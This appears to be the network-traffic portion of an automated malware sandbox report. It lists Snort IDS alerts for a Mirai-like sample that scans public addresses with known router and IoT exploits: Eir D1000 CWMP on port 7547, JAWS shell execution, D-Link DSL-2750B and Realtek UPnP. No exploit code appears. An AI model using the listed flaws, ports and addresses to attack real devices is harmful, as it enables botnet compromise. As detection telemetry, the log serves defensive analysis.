Source: Traffic | Snort IDS: 2027757 ET DNS Query for .to TLD 192.168.2.13:34158 -> 8.8.8.8:53 |
Source: Traffic | Snort IDS: 2835221 ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) 192.168.2.13:41042 -> 212.250.205.74:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:55594 -> 130.211.21.79:80 |
Source: Traffic | Snort IDS: 2835221 ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) 192.168.2.13:37492 -> 212.12.143.58:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:34778 -> 217.158.208.83:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:33802 -> 91.184.245.252:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:33206 -> 23.57.50.181:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:35080 -> 14.82.32.34:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:56312 -> 35.201.79.149:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:56324 -> 35.201.79.149:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:49728 -> 159.0.14.95:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:38458 -> 88.245.127.188:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:38474 -> 88.245.127.188:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:57724 -> 119.211.251.222:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:35100 -> 14.82.32.34:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:35992 -> 101.51.169.170:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:57738 -> 119.211.251.222:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:37490 -> 47.160.210.240:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:43194 -> 179.154.113.206:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:36006 -> 101.51.169.170:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:35556 -> 190.16.115.183:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:54122 -> 190.18.218.209:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:43950 -> 220.80.231.198:7547 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.13:46972 -> 88.99.137.171:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:39090 -> 162.244.248.47:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:38100 -> 94.197.162.164:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:37506 -> 47.160.210.240:7547 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.13:40022 -> 88.222.98.174:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.13:60514 -> 88.98.73.53:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:34996 -> 32.213.128.140:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:43210 -> 179.154.113.206:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:38200 -> 94.197.162.164:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:35582 -> 190.16.115.183:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:35102 -> 32.213.128.140:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:49786 -> 211.219.120.127:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:60406 -> 186.60.104.201:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:54164 -> 190.18.218.209:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:43992 -> 220.80.231.198:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:39136 -> 162.244.248.47:7547 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:60622 -> 109.74.188.173:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:54852 -> 212.123.41.121:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:59376 -> 185.217.57.86:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:49740 -> 159.0.14.95:7547 |
Source: Traffic | Snort IDS: 2841013 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.13:34716 -> 60.119.201.192:55555 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:49894 -> 211.219.120.127:7547 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:40872 -> 174.143.12.127:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:45660 -> 52.129.118.134:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:47620 -> 197.39.21.202:7547 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:54834 -> 38.40.146.16:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:60512 -> 186.60.104.201:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:47634 -> 197.39.21.202:7547 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:41816 -> 52.0.137.163:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:37876 -> 156.251.53.194:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:42434 -> 147.46.167.200:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:59382 -> 192.240.165.205:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:57158 -> 193.116.95.239:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:59726 -> 179.99.26.232:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:54394 -> 189.19.143.43:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:41020 -> 181.171.213.229:7547 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:49422 -> 177.18.190.183:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:57352 -> 183.101.109.19:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:46280 -> 175.235.206.3:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:57778 -> 14.66.164.140:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:45468 -> 221.155.118.83:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:39762 -> 119.223.0.19:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:57314 -> 193.116.95.239:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:59758 -> 179.99.26.232:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:54426 -> 189.19.143.43:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:41052 -> 181.171.213.229:7547 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.13:58104 -> 95.111.236.228:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.13:56766 -> 95.110.222.187:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.13:56404 -> 88.210.103.48:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:46298 -> 175.235.206.3:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:57376 -> 183.101.109.19:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:57802 -> 14.66.164.140:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:45496 -> 221.155.118.83:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:39788 -> 119.223.0.19:7547 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.13:51806 -> 95.163.16.196:80 |
Source: Traffic | Snort IDS: 2835221 ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) 192.168.2.13:42774 -> 212.60.195.42:80 |
Source: Traffic | Snort IDS: 2835221 ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) 192.168.2.13:45152 -> 212.63.131.69:80 |
Source: Traffic | Snort IDS: 2835221 ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) 192.168.2.13:38532 -> 83.222.251.90:80 |
Source: Traffic | Snort IDS: 2835221 ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) 192.168.2.13:52150 -> 18.244.146.208:80 |
Source: Traffic | Snort IDS: 2835221 ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) 192.168.2.13:58856 -> 212.175.199.195:80 |
Source: Traffic | Snort IDS: 2835221 ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) 192.168.2.13:33038 -> 128.112.7.161:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:41938 -> 52.0.137.163:80 |
Source: Traffic | Snort IDS: 2835221 ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) 192.168.2.13:58416 -> 104.140.27.158:80 |
Source: Traffic | Snort IDS: 2841013 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.13:47560 -> 126.224.159.117:55555 |
Source: Traffic | Snort IDS: 2835221 ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) 192.168.2.13:33030 -> 212.120.213.185:80 |
Source: Traffic | Snort IDS: 2841013 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.13:33394 -> 60.142.247.96:55555 |
Source: Traffic | Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.13:60336 -> 77.130.97.192:52869 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:49588 -> 23.192.153.179:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:44558 -> 212.236.167.248:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:45154 -> 148.251.140.146:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:54068 -> 23.54.133.28:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:35806 -> 34.250.194.236:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:48472 -> 23.36.80.191:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:49906 -> 54.226.185.247:80 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:50010 -> 54.226.185.247:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:53974 -> 218.212.219.131:7547 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:34350 -> 23.195.221.122:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:55316 -> 125.158.37.189:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:55006 -> 183.125.174.151:7547 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:42112 -> 58.226.135.238:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:39358 -> 32.211.92.29:7547 |
Source: Traffic | Snort IDS: 2835221 ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) 192.168.2.13:38288 -> 18.239.162.251:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:38632 -> 88.228.230.167:7547 |
Source: Traffic | Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:40410 -> 20.197.122.19:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:54012 -> 218.212.219.131:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:44686 -> 71.223.133.248:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:39382 -> 32.211.92.29:7547 |
Source: Traffic | Snort IDS: 2835221 ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) 192.168.2.13:38680 -> 212.42.162.29:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:38650 -> 88.228.230.167:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:33474 -> 174.80.154.29:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.13:54972 -> 175.215.96.81:7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 35080 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 56312 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 56324 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 49728 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 38458 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 38474 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 7547 -> 38458 |
Source: unknown | Network traffic detected: HTTP traffic on port 7547 -> 38474 |
Source: unknown | Network traffic detected: HTTP traffic on port 57724 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 35100 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 35992 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 57738 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 37490 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 43194 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 36006 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 49728 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 35556 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 48704 -> 55555 |
Source: unknown | Network traffic detected: HTTP traffic on port 54122 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 43950 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 39090 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 38100 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 37506 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 34996 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 43210 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 38200 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 34716 -> 55555 |
Source: unknown | Network traffic detected: HTTP traffic on port 35582 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 35102 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 49786 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 60406 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 54164 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 43992 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 56628 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 39136 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 36754 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 49740 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 53324 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 41414 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 49894 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 49728 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 47620 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 53330 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 7547 -> 53324 |
Source: unknown | Network traffic detected: HTTP traffic on port 60512 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 51870 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 7547 -> 53330 |
Source: unknown | Network traffic detected: HTTP traffic on port 47634 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 57158 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 59726 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 54394 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 41020 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 57352 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 46280 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 57778 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 45468 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 39762 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 49740 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 7547 -> 57158 |
Source: unknown | Network traffic detected: HTTP traffic on port 57314 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 59758 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 54426 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 41052 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 46298 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 57376 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 57802 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 45496 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 39788 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 7547 -> 57314 |
Source: unknown | Network traffic detected: HTTP traffic on port 49740 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 49728 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 43026 -> 8081 |
Source: unknown | Network traffic detected: HTTP traffic on port 8081 -> 43026 |
Source: unknown | Network traffic detected: HTTP traffic on port 50128 -> 8081 |
Source: unknown | Network traffic detected: HTTP traffic on port 59726 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 47560 -> 55555 |
Source: unknown | Network traffic detected: HTTP traffic on port 33394 -> 55555 |
Source: unknown | Network traffic detected: HTTP traffic on port 59758 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 57352 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 46280 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 46298 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 57376 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 50002 -> 55555 |
Source: unknown | Network traffic detected: HTTP traffic on port 49740 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 55555 -> 50002 |
Source: unknown | Network traffic detected: HTTP traffic on port 44138 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 43160 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 35558 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 44620 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 60336 -> 52869 |
Source: unknown | Network traffic detected: HTTP traffic on port 44576 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 60336 -> 52869 |
Source: unknown | Network traffic detected: HTTP traffic on port 53974 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 59726 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 55316 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 55006 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 39358 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 38632 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 54012 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 44686 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 39382 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 38650 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 60336 -> 52869 |
Source: unknown | Network traffic detected: HTTP traffic on port 59758 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 33474 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 54972 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 55364 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 55054 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 44718 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 55002 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 46280 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 57352 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 33474 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 46298 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 57376 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 49728 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 37716 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 44246 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 32820 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 44252 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 37716 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 32826 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 60336 -> 52869 |
Source: unknown | Network traffic detected: HTTP traffic on port 7547 -> 37716 |
Source: unknown | Network traffic detected: HTTP traffic on port 44382 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 44386 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 45150 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 33488 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 51758 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 7547 -> 45150 |
Source: unknown | Network traffic detected: HTTP traffic on port 45156 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 55608 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 41654 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 7547 -> 45156 |
Source: unknown | Network traffic detected: HTTP traffic on port 51838 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 7547 -> 51758 |
Source: unknown | Network traffic detected: HTTP traffic on port 51572 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 55690 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 41664 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 49740 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 37816 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 7547 -> 37816 |
Source: unknown | Network traffic detected: HTTP traffic on port 7547 -> 51838 |
Source: unknown | Network traffic detected: HTTP traffic on port 59726 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 60336 -> 52869 |
Source: unknown | Network traffic detected: HTTP traffic on port 59758 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 46962 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 46298 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 57352 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 46280 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 45736 -> 55555 |
Source: unknown | Network traffic detected: HTTP traffic on port 57376 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 49728 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 49740 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 34220 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 57248 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 52396 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 33986 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 52544 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 60336 -> 52869 |
Source: unknown | Network traffic detected: HTTP traffic on port 35306 -> 1723 |
Source: unknown | Network traffic detected: HTTP traffic on port 52556 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 51612 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 52422 -> 7547 |
Source: unknown | Network traffic detected: HTTP traffic on port 43748 -> 7547 |
